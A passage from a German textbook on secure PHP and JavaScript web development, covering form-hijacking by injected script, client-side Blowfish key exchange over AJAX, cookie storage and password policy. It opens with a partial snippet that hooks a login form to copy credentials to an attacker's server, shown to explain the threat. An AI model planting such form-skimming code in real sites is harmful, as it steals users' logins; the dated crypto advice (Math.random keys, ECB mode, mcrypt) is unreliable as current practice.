relativ einfach zu bewerkstelligen, dafür muss der fragliche JavaScript-Code in eine Funktion ausgelagert werden, die später als Event-Handling-Funktion aufgerufen wird: <script type="text/JavaScript"> function TransmitUserData() { // create XMLHttpRequest
96
4.2 Lösungsansätze
var request = null; … }
Listing 4.5:
Eine Funktion zur Übertragung von Daten
Nun ist es noch erforderlich, den onsubmit-Eventhandler des Form-Objektes zu verändern, damit beim Absenden des Formulars die eigene Funktion aufgerufen wird. Dadurch werden die Daten parallel an den eigenen sowie an den ursprünglichen Server versendet. Hierzu muss der Code noch etwas erweitert werden: <script type="text/JavaScript"> function TransmitUserData() { … } function AddEvent(obj, evType, fn, useCapture) { if(obj.addEventListener) { obj.addEventListener(evType, fn, useCapture); return true; } else if(obj.attachEvent) { return obj.attachEvent("on"+evType, fn); } else { // Handler kann nicht angefügt werden… } } AddEvent(window.document.form1, "submit", TransmitUserData, false);
Listing 4.6:
Events dynamisch setzen
Sendet der Benutzer nun seine Login-Daten an den Server, so werden diese auch an den Server des Angreifers übermittelt.
4.2
Lösungsansätze
Es gibt vielfältige Möglichkeiten, um den Problemen, die bei einem zu sorglosen Umgang mit Daten innerhalb von PHP-Skripten entstehen, zu entgegnen. Nicht jeder Lösungsweg ist immer praktikabel, versuchen Sie also keinesfalls jedes Risiko auf Biegen und Brechen zu beseitigen – ein Restrisiko bleibt immer bestehen.
97
Kapitel 4 Sensitive Daten richtig behandeln
4.2.1 Hash-Austausch via AJAX Es gibt Situationen, in denen man SSL nicht einsetzen kann oder will, doch selbst wenn SSL für Seiten genutzt wird, die sensitive Daten übermitteln, so besteht hier immer noch das Problem, dass ein Angreifer mit einer gewissen Wahrscheinlichkeit zumindest die Daten entschlüsseln kann, die der Server an den Client übermittelt (siehe Kapitel 8). Um dieser Problematik zu begegnen, gibt es noch eine weitere Möglichkeit, sensitive Daten zu entschlüsseln. Dabei wird ein Schlüssel clientseitig generiert und an den Server übermittelt, der dann die sensitiven Daten, die an den Client übertragen werden sollen, stets mit diesem Schlüssel verschlüsselt. Dabei sollte die Methode, mit der der Schlüssel erzeugt wird, so gewählt werden, dass von jedem Client bei jedem Aufruf stets ein anderer schwer zu erratender Schlüssel erzeugt wird. Dieser wird dann beispielsweise per AJAX asynchron an den Server übermittelt und von diesem für diese Session gespeichert, so dass die Daten stets mit dem gleichen Wert verschlüsselt werden. Auch diese Technik ist – wie SSL – kein Garant für Sicherheit. Zum Einen muss auf dem Client JavaScript aktiviert sein, da es nur über eine clientseitige Skriptsprache möglich ist, dynamisch einen Schlüssel durch den Client erzeugen und an den Server übermitteln zu lassen. Einer Man-in-the-middle-Attacke ist diese Methode von Haus aus nicht gefeit: Der Key kann von einem Angreifer natürlich auch ausgelesen werden, sofern er den Netzwerkverkehr überwacht. Hier kommt allerdings der Vorteil in Kombination mit SSL zum Vorschein: Wird der Key über eine bestehende SSL-Verbindung vom Client an den Server übertragen, hat ein Angreifer keine Chance, da diese Daten mit an Sicherheit grenzender Wahrscheinlichkeit nicht entschlüsselt werden können. Sendet der Server dann Daten zurück, kann der Angreifer diese möglicherweise auslesen (wenn er etwa im Besitz des Serverschlüssels ist), doch ergeben sie keinen Sinn: Es handelt sich nur um »Buchstabenmüll«, da diese zusätzlich noch mit dem Schlüssel des Clients gesichert sind. Im folgenden Beispiel wird dabei auf die Blowfish-Verschlüsselung gesetzt. Zuerst – bevor es an die Generierung eines Schlüssels geht – kurz die zwei Funktionen, die JavaScript-seitig zum Ver- und Entschlüsseln benutzt werden: function encodeblowfish(key, text) { var i=0; if ( initialize_blowfish(key)==1 ) { inpdata=myescape(text); for( i=0; i
98
4.2 Lösungsansätze
xr_par=wordunescape(inpdata.substr(i,8)); xl_par=wordunescape(inpdata.substr(i+8,8)); blowfish_encipher(); outdata=outdata+wordescape(xr_par)+wordescape(xl_par); } return outdata; } return ""; } function decodeblowfish(key, text) { var i=0; if (initialize_blowfish(key)==1) { var inpdata = text; for( i=0; i
Listing 4.7:
Blowfish-Verschlüsselung in JavaScript
Hinweis Den vollständigen Quelltext der Blowfish-Implementierung und der hier verwendeten Hilfsfunktionen (etwa initialize_blowfish() und wordescape()) finden Sie auf der Website des Buchs. Ein Aufruf von encodeBlowfish("mitp", "Sichere Webanwendungen mit PHP, MySQL, JavaScript und Apache") ergibt somit einen Blowfish-String 909EFA7A03D50C195522A8B80701A4EEDC0277746586C80E92BB28C0EECBA1D8B 295E3350809B9AE01CDCE63FC045171EBA316445F0ED7E7739BBF894FD05857.
99
Kapitel 4 Sensitive Daten richtig behandeln
Wichtig encodeBlowfish() und decodeBlowfish() tragen hier nur diesen eindeutigen
Namen, damit leichter erkannt werden kann, welche Funktion welchen Zweck erfüllt. Im »echten Leben« sollte man den Namen der Funktionen allerdings weit undeutlicher gestalten, da JavaScript dem Client im Klartext zur Verfügung steht und ein Angreifer bei einem »sprechenden« Namen leicht den Zweck erkennen und somit die Verschlüsselung selbst verwenden kann. Blowfish ist ein Verschlüsselungsverfahren, das einerseits relativ sicher ist und das sich andererseits mit vertretbarem Aufwand sowohl in JavaScript als auch PHP nutzen lässt, was wiederum Bedingung sein muss, wenn der PHP-Webserver Daten vor der Auslieferung an den Client verschlüsseln soll, die vom Client wieder entschlüsselt werden. Zur Ergänzung ist natürlich noch ein PHP-Pendant zur Ver- und Entschlüsselung notwendig. mcrypt kann als Modul zu PHP gebunden werden (libmcrypt muss dabei auf dem Server installiert sein) und stellt neben anderen Verschlüsselungstechniken auch Blowfish bereit. Eine Verschlüsselung der PHP-Variablen $text kann mit folgenden Aufrufen vorgenommen werden: $iv_sizen = mcrypt_get_iv_size(MCRYPT_BLOWFISH, MCRYPT_MODE_ECB); $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND); $crypttext = mcrypt_encrypt(MCRYPT_BLOWFISH, $key, $text, MCRYPT_MODE_ECB, $iv);
Nun kommt es noch darauf an, einen Schlüssel zu verwenden, mit dem die Daten ver- und entschlüsselt werden. Dabei sollte natürlich kein festkodierter Schlüssel verwendet werden: Dieser würde dann bei jedem Client gleich sein, ein potenzieller Angreifer müsste also lediglich legitim auf die Seite zugreifen und käme somit an den Schlüssel. In Kombination mit SSL ist es wichtig, dass der Client den Schlüssel erzeugt und an den Server übermittelt (theoretisch ist es wahrscheinlicher, dass die Kommunikation vom Server »geknackt« wird als die Daten, die an den Server übermittelt werden). Diese Technik hat auch den Vorteil, dass es schwerer wird, den erzeugten
100
4.2 Lösungsansätze
Schlüssel vorherzusagen, was bei einem schwachen Algorithmus möglich wäre, der stets auf dem gleichen Rechner (also dem Server) ausgeführt wird. Theoretisch ist eine Verschlüsselung nur so sicher wie der Schlüssel; bei Verfahren wie Blowfish – also einem symmetrischen Verfahren, das den gleichen Schlüssel für Ver- und Entschlüsselung nutzt – ist die größte Sicherheit gegeben, wenn der Schlüssel mindestens so lang ist wie der längste Text, der damit kodiert werden soll. Da sich jedoch die Länge der Daten nicht immer voraussagen lässt, muss man sich hier auf ein Mittelmaß festlegen. Ein guter Kompromiss zwischen Geschwindigkeit – ein längerer Schlüssel intensiviert den Rechenaufwand – und Sicherheit besteht in einem Schlüssel mit einer Länge zwischen 30 und 50 Zeichen. Eine sehr effektive Möglichkeit ist es, ein fest kodiertes Alphabet in einem JavaScript-String abzulegen und den endgültigen Schlüssel aus einer zufälligen Aneinanderreihung von Zeichen des Alphabets zusammenzusetzen: <script type="text/JavaScript"> function genKey() { var alphabet = "aBt5ZhJ8O9a4F2DM9LyaWSRuIO058PQagujklmF98#*!8/&"; var key=""; while(key.length<40) { var no = new Number(alphabet.length+1); while( no>alphabet.length || no<0) no = Math.random()*100; no = Math.floor(no); key = key+alphabet.charAt(no); } return key; }
Listing 4.8:
Schlüsselerzeugung
Ein besserer Schlüssel wird dabei erzeugt, wenn bereits das Alphabet – das fest kodiert ist – keinem bestimmten System folgt. Damit ist jedoch die Aufgabe der verschlüsselten Übertragung zwischen Server und Client noch nicht gelöst. Es gibt durchaus noch einige Ansatzpunkte, die hierbei berücksichtigt werden sollen. Das schwerwiegendste Problem ist die Weitergabe des Schlüssels auf Clientseite: Wird der Schlüssel mit JavaScript erzeugt und per AJAX asynchron an den Server übermittelt, kann dieser den Schlüssel in der aktuellen Session zwischenspeichern und weiß somit stets, wie die Daten verschlüsselt werden sollen. Auf dem Client wird es allerdings problematisch: Die JavaScript-Variablen stehen nur im aktuellen
101
Kapitel 4 Sensitive Daten richtig behandeln
Skript zur Verfügung. Wird eine andere Seite aufgerufen, so ist der generierte Schlüssel für den Client »verloren«. Hier gibt es mehrere Alternativen, von denen jede ihre Vor- und Nachteile hat. In Betracht der heutigen Techniken kann man sich beispielsweise darauf beschränken, den Schlüssel beim Seitenaufruf zu erzeugen: dieser wird dann in einer JavaScript-Variable zwischengespeichert. Alle relevanten Links werden per AJAX implementiert, es wird also keine neue Seite vom Server angefordert, es werden lediglich die vom Benutzer gewünschten Daten nachgeladen. Dabei besteht die Möglichkeit, weiterhin auf den gespeicherten Key zuzugreifen, da es sich um die gleiche Instanz handelt. Der Nachteil ist offensichtlich: Es können lediglich Daten nachgeladen werden, die per JavaScript in die HTML-Seite eingefügt werden müssen. Heute gibt es umfangreiche AJAX-Frameworks, mit denen diese Technik leicht integriert werden kann – jedoch bleibt eine solche Seite sehr JavaScript-lastig und die benutzten PHP-Skripte müssen Anfragen dahingehend unterscheiden können, ob nun eine komplette HTML-Seite oder lediglich Daten ausgeliefert werden sollen. Der Vorteil ist allerdings – wie bei sämtlichen AJAX-Anwendungen – die Geschwindigkeit: Da nur Daten nachgeladen und per JavaScript eingebettet werden müssen, erfolgt der Seitenaufbau um einiges schneller als beim erneuten Laden einer kompletten Seite, zudem erfolgt die Anzeige der zusätzlichen Daten asynchron (der Benutzer kann also anderweitig mit der Seite agieren, während die Daten geladen werden). Allerdings: Ist es dennoch erforderlich, eine neue Seite zu laden, können die Daten, die mit dieser neuen Seite bereits bei der Erstübertragung geliefert werden, nicht verschlüsselt werden, denn der Client kennt den »alten« Schlüssel nicht mehr. Zudem müssen die PHP-Skripte so umgesetzt werden, dass sie in diesem Fall trotz vorhandenem Schlüssel keine Verschlüsselung vornehmen – denn mangels Schlüssel kann der Client nichts mit diesen Daten anfangen. Eine Möglichkeit, Werte skriptübergreifend zu speichern und wiederverwenden zu können, ist die Verwendung eines Cookies, das auch in JavaScript zur Verfügung steht. Hierbei muss allerdings sichergestellt werden, dass der Schlüssel nur dann verwendet wird, wenn der Server diesen Schlüssel auch kennt, deshalb sollte nicht nur der generierte Schlüssel, sondern auch die PHP-Session-ID im Cookie gespeichert werden. Wird eine Seite aufgerufen, kann so die gespeicherte Session-ID mit der aktuellen verglichen werden; sind sie unterschiedlich, muss ein neuer Key erzeugt und an den Server übermittelt werden. Diese Methode ist verlockend und im Grunde sehr einfach umzusetzen: Der Schlüssel aus der JavaScript-Variable key kann so mit der einfachen Anweisung document.cookie = "key=" + key im Cookie gespeichert werden (ein Cookie-Eintrag muss immer aus dem Paar Schlüssel=Wert bestehen). Allerdings gibt es mehrere gravierende Nachteile. Keinesfalls darf man das Cookie-System von JavaScript mit demjenigen vergleichen, wie man es von PHP gewohnt ist. Unter PHP verfügt jede Domain über eigene Cookies und jeder Cookie-Wert steht separat zur Verfügung. Ein Wert, der mit der PHP-Funktion setcookie("testkey", "testvalue") gespeichert wird, kann
102
4.2 Lösungsansätze
von allen Skripten der gleichen Domainebene (Skripte können nur Cookies auslesen, die von anderen Skripten der gleichen Domain und desselben Verzeichnisses gesetzt wurden) zugegriffen werden. Diese Werte stehen innerhalb der superglobalen Arrays $_COOKIE und $_REQUEST; sie können über den mit setcookie() spezifizierten Schlüsselnamen abgefragt werden. Für ältere Browser-Versionen aus der Mozilla-Serie (etwa den Firefox 1.x) gilt: Mit JavaScript gibt es nur ein zentrales Cookie für alle Skripte einer Verzeichnisebene, die Trennung nach Seiten bzw. Domains entfällt dabei. Skripte aus Unterverzeichnissen haben dabei auch Zugriff auf die Einträge der übergeordneten Verzeichnisebene. Ein kleines Beispiel: 쐽 www.testserver.org/test.htm
speichert unter dem Schlüssel A den Wert 1
als Cookie. 쐽 www.server1.net/a/abc.htm speichert unter dem Schlüssel Z den Wert 999.
liest den Cookie aus und hat Zugriff auf alle Werte aus dem gleichen und allen übergeordneten Verzeichnissen; das Verzeichnis liegt relativ zur Domain im Hauptverzeichnis, somit hat diese Seite Zugriff auf den Schlüssel A.
쐽 www.abc.org/read.htm
liest den Cookie aus und hat Zugriff auf alle Cookies aus dem Verzeichnis a und allen übergeordneten Verzeichnissen, kann somit also die Schlüssel A und Z auslesen.
쐽 www.abc.org/a/read.htm
Das JavaScript-Cookie-System ist also sicherheitstechnisch bedenklich. Schafft es ein Angreifer, ein kompromittierendes JavaScript auf den Client zu schleusen, kann er bei Speicherung des aktuellen Blowfish-Schlüssels durchaus die Daten, die mit Blowfish zwischen Server und Client verschlüsselt werden, entschlüsseln. Schon allein deshalb sollte eine weitere Überlegung in das Konzept einbezogen werden: Der Schlüssel sollte regelmäßig erneuert werden, damit ein Angreifer verhältnismäßig geringe Chancen auf Datenzugriff hat – denn je länger die Sitzung mit dem gleichen Schlüssel existiert, desto größer wird die Wahrscheinlichkeit, dass ein Angreifer diesen Schlüssel errät oder in Erfahrung bringt. Das JavaScript-Cookie des Firefox-Browsers in der Version 1.x wird zudem auch noch in einer einzigen Datei gespeichert: Diese Datei wird pro Verzeichnis geführt und trägt den Namen cookies.txt; jede Seite, die Daten in Cookies per JavaScript ablegen möchte, speichert also Werte in die cookies.txt-Datei der jeweiligen Ebene. Dies hat neben den sicherheitstechnischen Überlegungen (ein Skript kann ohne weiteres die Daten anderer Seiten auslesen) auch beim Verarbeiten der Daten weitreichende Folgen: Die einzelnen eingetragenen Schlüssel werden durch ein Semikolon voneinander getrennt, die Datei hat also ein CSV-Format. Im Gegensatz zu PHP kann man nur die gesamte Datei auslesen und sich nicht auf einen spezifischen Schlüssel beziehen; möchte man also den Wert eines Schlüssels erfahren, muss man die Zeichenkette, die document.cookie liefert, per JavaScript aufteilen. Diese einzelne Datei für mehrere Skripte weist allerdings eine weitere Problematik
103
Kapitel 4 Sensitive Daten richtig behandeln
auf: Jeder Wert muss durch einen Schlüssel definiert werden, unter dem er gespeichert wird; wird ein Schlüssel verwendet, der bereits in der Datei vorhanden ist, wird der bestehende Wert überschrieben – dies ist natürlich durchaus sinnvoll, doch deshalb sollten Sie für die Speicherung im Cookie einen Schlüsselnamen verwenden, der höchstwahrscheinlich von keinem Skript anderer Webseiten benutzt wird, statt key sollte also etwa eher so etwas wie testserver_key verwendet werden, um ein Überschreiben der eigenen Information zu verhindern. Weiterhin ist es natürlich auch notwendig, dass der Benutzer Cookies erlaubt hat, damit mit JavaScript ein solches überhaupt geschrieben werden kann. Es gibt die Möglichkeit, dies mit der Eigenschaft navigator.cookieEnabled festzustellen. Liefert sie true, so sind Cookies erlaubt. Jedoch gibt es auch hier eine Einschränkung: Diese Eigenschaft sagt nichts darüber aus, ob der Benutzer beim Anlegen oder Verändern eines Cookie-Eintrages benachrichtigt oder um Genehmigung gebeten wird. Trotz aktivierter Cookies ist es also dennoch möglich, dass der Wert nicht als Cookie gespeichert werden kann – verlässt sich das Skript also blind darauf, dass der Wert innerhalb des Cookies gespeichert wurde, bekommt der Benutzer evtl. nur Datenmüll angezeigt, da die Daten mangels Schlüssel nicht entschlüsselt werden konnten; deshalb sollte nach dem Schreiben des Cookies in jedem Fall sofort geprüft werden, ob der Wert auch tatsächlich im Cookie »gelandet« ist – andernfalls muss auf eine Verschlüsselung verzichtet werden. Zusammengefasst sehen die konkreten Aufgaben eines solchen JavaScript-Skriptes zur Verschlüsselung mit clientseitig erzeugtem Schlüssel so aus (bei Verwendung der seitenübergreifenden Speicherung mit Cookies): 쐽
Auslesen der aktuellen Session-ID
쐽
Auslesen eines möglicherweise vorhandenen Schlüssels und der verbundenen Session-ID
쐽
Vergleich der Session-IDs 쐽
Bei Gleichheit: Relevante Daten können mit dem gespeicherten Schlüssel verschlüsselt werden.
쐽
Bei Ungleichheit: Ein neuer Schlüssel muss per JavaScript erzeugt und dem Server übermittelt werden.
Doch bereits der erste Schritt stellt ein kleines Problem dar: Die Session-ID sollte natürlich keinesfalls innerhalb einer URL verwendet werden, damit eine Indizierung von Suchmaschinen oder andere Umstände nicht auf diese Weise für Komplikationen sorgen (siehe Abschnitt 4.1.4 Zwischenspeicherung von Sessions und Cookies auf Seite 91). Wenn diese innerhalb der URL vorhanden wäre, könnte man diesen Teil der Eigenschaft location.href mit verschiedenen String-Funktionen auslesen. Deshalb sollte die Session-ID innerhalb des Seitenquelltextes bereits durch den Server und somit durch PHP untergebracht werden; dieses Tag und sein Inhalt kann dann durch JavaScript ausgelesen werden. Sehr zu empfehlen für diese Auf-
104
4.2 Lösungsansätze
gabe sind die <meta>-Tags, da sie per Definition Meta-Daten enthalten. Dabei kann man neue Varianten dieser Informationsträger erschaffen ohne – wie bei anderen bestehenden HTML-Tags – den Standard zu verletzen. Ein solches <meta>-Tag kann durch PHP etwa so konstruiert werden: echo "<meta name=\"sessionid\" content=\"".session_id()."\" />";
Die Abfrage der so übermittelten Session-ID per JavaScript ist verhältnismäßig simpel: <script type="text/JavaScript"> var metatags = document.getElementsByName("sessionid"); if(metatags!=null && metatags.length==1) { var sessionid_from_server = metatags[0].getAttribute("content"); … }
Listing 4.9:
Meta-Tag auslesen
Nun zum Cookie-Problem, um die eigenen Schlüssel und Werte aus dem gesamten Cookie-Stream auszulesen. Diese Zeichenfolge könnte beispielsweise so aussehen: chkbox=checked;printall=false; testserver_sessionid=09af885765be;testserver_key=I22#0gD#IJ289ua&Dy&8Ou9 8y0D5uOJ4a*LShg8/
Dabei gehören die beiden Schlüssel testserver_sessionid und testserver_key zum JavaScript; sie enthalten jeweils die Session-ID sowie den zwischengespeicherten Schlüssel für Blowfish. Bevor hier die Funktion folgt, mit der die entsprechenden Werte anhand des Schlüsselnamens aus dem Cookie-String gelesen werden, zeige ich hier noch drei Hilfsfunktionen, die bei der Aufteilung der Zeichenkette notwendig sind, aber von JavaScript selbst nicht bereitgestellt werden: // Führende Leerzeichen entfernen function LTrim( value ) { var re = "/\s*((\S+\s*)*)/"; return value.replace(re, "$1"); } // Nachfolgende Leerzeichen entfernen function RTrim( value ) { var re = "/((\s*\S+)*)\s*/";
105
Kapitel 4 Sensitive Daten richtig behandeln
return value.replace(re, "$1"); } // Führende und nachfolgende Leerzeichen entfernen function trim( value ) { return LTrim(RTrim(value)); }
Listing 4.10: Leerzeichen aus einem JavaScript-String entfernen
Danach geht es an das Auslesen der Werte aus dem Cookie: function getCookieKey(name) { if(document.cookie == null || document.cookie.length==0) return ""; var keysAndValues = document.cookie.split(";"); for(var i = 0; i < keysAndValues.length; i++) { var data = keysAndValues[i].split("="); if(data==null || data.length!=2) continue; if(trim(data[0])==trim(name)) return data[1]; } return ""; }
Listing 4.11: Wert aus Cookie ermitteln
Der Grundgedanke dahinter ist relativ simpel: Zu Beginn müssen alle Einträge voneinander anhand des Semikolons getrennt werden, danach erfolgt die Aufteilung von Schlüssel und Wert mittels des Gleichheitszeichens; die Funktion trim() muss dabei aufgerufen werden, da vor und nach dem Schlüssel Leerzeichen vorkommen könnten und somit ein Vergleich möglicherweise nicht erfolgreich wäre. Um aus dem Cookie die Session-ID, die unter dem Namen testserver_sessionid abgelegt ist, auszulesen und sie mit der vom Server gelieferten aktuellen ID zu vergleichen und anschließend den Schlüssel zu erhalten und gegebenenfalls neu zu erzeugen, sind folgende Anweisungen notwendig: var metatags = document.getElementsByName("sessionid"); var sessionid_from_server = null; if(metatags!=null && metatags.length==1)
106
4.2 Lösungsansätze
sessionid_from_server = metatags[0].getAttribute("content"); var sessionid_from_cookie = getCookieKey("testserver_session"); var key = null; if(sessionid_from_cookie==sessionid_from_server) key = getCookieKey("testserver_key"); if(key==null) { // nicht identisch oder nicht in Cookie auffindbar: Neuen Schlüssel erzeugen key = genKey(); // Schlüssel per AJAX an den Server übermitteln … }
Listing 4.12: Cookie auslesen und prüfen
Dieses Skript prüft auf die korrekte Session und lädt den Schlüssel aus dem Cookie; handelt es sich um eine neue Session oder der Schlüssel kann nicht im Cookie gefunden werden, so wird der Schlüssel neu erzeugt. In diesem Fall muss er auch an den Server übermittelt werden. Die AJAX-Implementierung wird hier nicht dargestellt (dafür gibt es einschlägige Literatur, Empfehlenswert sind z. B. »AJAX Professionell« von Nicholas C. Zakas, Jeremy McPeak und Jow Fawcett sowie »AJAX Design Patterns und Best Practices« von Christian Gross – beide erschienen im mitp-Verlag). Jedoch ein kleiner Hinweis: Dem Server muss bei diesem Transfer auch die Session-ID mitgeteilt werden, da PHP den Schlüssel der entsprechenden Session zuordnen können muss, im AJAX-Request müssen also zwei Parameter übermittelt werden (Schlüssel und Session-ID). Und noch einmal der Hinweis zu dieser Methodik generell: Sie ist sehr effektiv, da sowohl Client und Server damit arbeiten. Dies minimiert klar das Risiko eines erfolgreichen Angriffs, jedoch funktioniert das nur, sofern der Client JavaScript unterstützt und es dort aktiviert wurde, der PHP-Server mit den Anfragen umgehen kann und zudem die Cookie-Speicherung auf dem Client möglich ist. Diese Technik sollte – so effektiv und verlockend sie ist – nach Möglichkeit nur unterstützend in Verbindung mit SSL verwendet werden. Auch sollten keinesfalls auf das Geratewohl alle Daten, die asynchron nachgefordert werden, verschlüsselt werden: Bezeichnungen von Menüpunkten zu kodieren erscheint wenig sinnvoll, es sollte zwischen Server und Client klar definiert sein, welche Daten verschlüsselt werden – dies sollten ausschließlich sensitive Informationen sein. Eine weitere Steigerung ist es natürlich, wenn der Schlüssel innerhalb des Cookies selbst bereits verschlüsselt wird. Dies muss allerdings mit einem fixen Schlüssel innerhalb des JavaScripts erfolgen, stellt jedoch zumindest für den »Gelegenheitshacker« eine Hürde dar – dann sieht der Wert, der innerhalb des Cookies vorliegt,
107
Kapitel 4 Sensitive Daten richtig behandeln
zwar wir der eigentliche Schlüssel aus, dessen Verwendung führt aber nicht zu gültigen Daten in der Client-Server-Kommunikation.
4.2.2 Vermeidung von unsicheren Passwörtern Das Thema Passwörter scheint nicht so recht in dieses Kapitel zu passen, wurden doch am Anfang eher technische Probleme beim Umgang mit sensitiven Daten aufgeführt. Doch unsichere Passwörter sind eine Thematik, die sich jeder Administrator und Entwickler einer Webseite vertraut machen sollte. Das Problem liegt hier klar nicht an der Software, sondern am Benutzer, hat jedoch schwere Folgen für die Webseite. Schafft es ein Angreifer, ein zu leichtes Passwort eines Benutzers zu erraten oder zu ermitteln, kann er unterhalb dieses Accounts mit allen Berechtigungen arbeiten und die Daten des jeweiligen Benutzers einsehen und, falls die Webanwendung dies zulässt, auch Daten anderer Benutzer sehen und verändern (denkbar z.B. mit Administratoren-Benutzern in CM-Systemen). Um dies zu verhindern, sollte man bei der Entwicklung in Bezug auf die Benutzerverwaltung und -anlage auch über die Vergabe und Zulässigkeit von Passwörtern nachdenken. Dabei sollte man auch die Grundüberlegung, wer Passwörter erzeugt, nicht außer acht gelassen werden. Die Verteilung der Systeme ist heute weitgehend zweigeteilt: Es gibt sowohl Webanwendungen, die ein automatisches Passwort erzeugen, als auch solche, die dem Benutzer die Passwortvergabe überlassen. Beide Methoden haben ihre klaren Vorteile: Die serverseitige Erzeugung ist bei einer guten Implementierung wesentlich sicherer, die Vergabe durch die Benutzer erhöht den Benutzerkomfort (selbst vergebene Passwörter kann man sich wesentlich leichter merken). Bevor man sich nun an eine Implementierung – welcher Technik auch immer – macht muss man sich im Klaren darüber sein, was ein sicheres Passwort ausmacht: 쐽
108
Mindestlänge: Hier gilt dieselbe Theorie wie bei der Erzeugung eines SSL-Zertifikates (siehe Kapitel 8): Je kürzer das Passwort ist, desto leichter ist es, dieses durch schieres Probieren herauszufinden. Meist kann davon ausgegangen werden, dass Passwörter reine ASCII-Zeichenketten sind und somit Unicode-Zeichen ausscheiden. Die ASCII-Tabelle besteht aus 256 Codes, wobei wahrscheinlich nur die Zeichen 32 bis 126 tatsächlich in Passwörtern vorkommen. Damit gibt es für jede Stelle im Passwort 94 Möglichkeiten. Das ergibt bei einem Passwort mit einer Länge von zwei Stellen 94 x 94 = 8.836 Möglichkeiten, bei drei Stellen sind dies 94 x 94 x 94 = 830.584 denkbare Kombinationen. Übrigens: Diese Anzahl der Kombinationen sinkt natürlich mit der Verringerung der zulässigen Zeichen. Sind etwa nur Ziffern zugelassen, gibt es nur noch 10 (0 bis 9) Möglichkeiten pro Zeichen, das sind bei einer Passwortlänge von drei Zeichen nur noch 10 x 10 x 10 = 1.000 Kombinationen!
4.2 Lösungsansätze
Dies klingt im ersten Moment viel, doch mit einer schnellen Anbindung und einem automatisierten Skript ist es einem Angreifer ein leichtes, diese Kombinationen zu testen. Leider ist es auf den wenigsten Webseiten verbreitet, dass nach einer bestimmten Anzahl Fehlversuche der Benutzerzugang vorläufig blockiert wird und somit ein Login auch mit dem gültigen Passwort nicht mehr möglich ist. Verbreitet ist inzwischen eine Mindestlänge von sechs Zeichen für ein Passwort, empfehlenswert sind acht Zeichen. Eine weitere Erhöhung der Mindestlänge wäre kontraproduktiv: Zu lange Passwörter, kann man sich im Allgemeinen nur noch sehr schwer merken. 쐽
Diversifikation der Zeichen: Passwörter wie 111111 sind wenig sinnvoll: Zum Einen sind sie leicht zu erraten und zum Anderen ist diese Einfachheit meist in den gespeicherten Hashs leicht wiederzuerkennen. Gelangt ein Angreifer also an einen Datenbankauszug, so kann er simple Passwörter selbst an der verschlüsselten Speicherung erkennen. Passwörter sollten deshalb zu mindestens 50 % aus verschiedenen Zeichen bestehen; bei einem Passwort mit einer Länge von acht Zeichen sollten mindestens vier unterschiedliche Zeichen enthalten sein. Zudem sollten zur weiteren Sicherung sowohl mindestens eine Ziffer, ein Buchstabe und ein Sonderzeichen darin enthalten sein (dies erschwert das systematische Probieren durch einen Angreifer erheblich).
쐽
Geringer Wiedererkennungswert: Die meisten Benutzer sind bei der Wahl ihrer Passwörter leider zu sorglos und relativ einfallslos. So sind Begriffe wie »Liebe« und »Urlaub« sehr verbreitet – und natürlich wird »Passwort« selbst gern als Passwort verwendet. Doch auch persönliche Daten, die bekannt sind oder leicht in Erfahrung gebracht werden können, werden oft verwendet: Benutzername, Vorname, Geburtsdatum (in verschiedenen Variationen mit oder ohne Punkt, zwei- oder vierstellige Jahresangabe), Telefonnummer, Name des Haustiers oder des Lebenspartners. Oft sind diese Daten durch Profil- oder eigene Webseiten bekannt oder lassen sich über andere Quellen leicht herausfinden. Eine sinnvolle Implementierung sollte also Passwörter, die den Daten des Benutzers entsprechen, weitestgehend verhindern – eine Sicherheit gibt es hier natürlich nicht: Wird von der Webanwendung die Telefonnummer nicht gespeichert, kann sie bei der Passwortprüfung auch nicht gefiltert werden.
Im ersten Moment erscheint es also leichter, ein zufälliges Passwort durch die Webanwendung – also etwa PHP – erzeugen zu lassen, und dies dem Benutzer »vorzusetzen«; das steigert jedoch kaum den Benutzerkomfort und auf der anderen Seite kann auch eine zufällig erzeugt Sequenz die vorhin genannten Kriterien verletzen – eine Prüfung des Passwortes muss also auf jeden Fall erfolgen und es spielt dabei keine Rolle, wer das Passwort erzeugt hat.
109
Kapitel 4 Sensitive Daten richtig behandeln
Eine unübliche und dennoch sehr benutzerfreundliche Variante ist es, beide Vorgehensweisen zu implementieren: Fällt dem Benutzer kein Passwort ein, dass die Kriterien erfüllt, kann er so immer noch auf ein zufällig erzeugtes zurückgreifen. Überlässt man dem Benutzer die Vergabe, sollte die Akzeptanz während der Eingabe angezeigt werden. Google und andere Anbieter lösen dies, indem sie neben dem Eingabefeld einen Balken mit einer Skala von unsicher über sicher bis hin zu sehr sicher anzeigen, der je nach Status auch mit einer anderen Farbe versehen wird. Um dies zu realisieren, ist JavaScript notwendig. Dabei sollte man allerdings nach Möglichkeit eine Server-Implementierung verwenden: Übernimmt nur der JavaScript-Client die Prüfung und der Server übernimmt ein übermitteltes Passwort blind, kann die Sicherheit überlistet werden. Mit verschiedenen Tools der Browser kann ein Benutzer ein JavaScript verändern – Sicherheitsprüfungen lassen sich somit außer Kraft setzen. Andererseits ist es wenig komfortabel, den Sicherheitsstatus erst nach Übermittlung an den Server anzuzeigen und so etwa den Benutzer zur Eingabe eines anderen Passworts zu bewegen; spätestens nach dem dritten Versuch (der bei besonders hohen Anforderungen an Passwörter leicht erreicht ist) wird er verzweifelt aufgeben. Für diese Aufgabe ist also AJAX regelrecht prädestiniert. Doch auch hier muss man etwas beachten: AJAX übermittelt asynchron, das kann für die Anzeige der Passwortsicherheit allerdings fatal sein. Tippt der Benutzer sehr schnell ein Passwort ein und der Client übermittelt es zu Prüfungszwecken bei jeder Änderung – also jedem neuen Zeichen – an den Server, kann es sein, dass die Antwort für das erste Zeichen erst vom Server gesendet wird, wenn der Benutzer bereits alle Zeichen eingegeben hat. Das vollständige Passwort – das dann vielleicht »sicher« ist – erhält die Einstufung »unsicher« in der Anzeige. Eine Lösungsmöglichkeit wäre es, dass der Server nicht nur den Status, sondern auch das Passwort an den Client zurücksendet, damit dieser es mit der aktuellen Eingabe vergleichen kann und somit immer den richtigen Status anzeigt (stimmen aktuell eingetragenes und vom Server geliefertes Passwort nicht überein, sollte ein undefinierter Status angezeigt und die Prüfung durch den Server erneut veranlasst werden). Doch dies führt richtiggehend zu einem Sicherheitsproblem: Handelt es sich um eine Man-in-the-middleAttacke lässt sich das mehrfach übertragene Passwort relativ leicht ausspionieren. Als Sicherheitsmaßnahme sollte die JavaScript-Implementierung alle eingegebenen Passwörter in einem internen Array ablegen und den Index zusätzlich an den Server übertragen. Nach der Prüfung wird der Server den Status zusammen mit dem Index an den Client rückübertragen und ein mehrfaches Versenden des Passwortes vermeiden; die 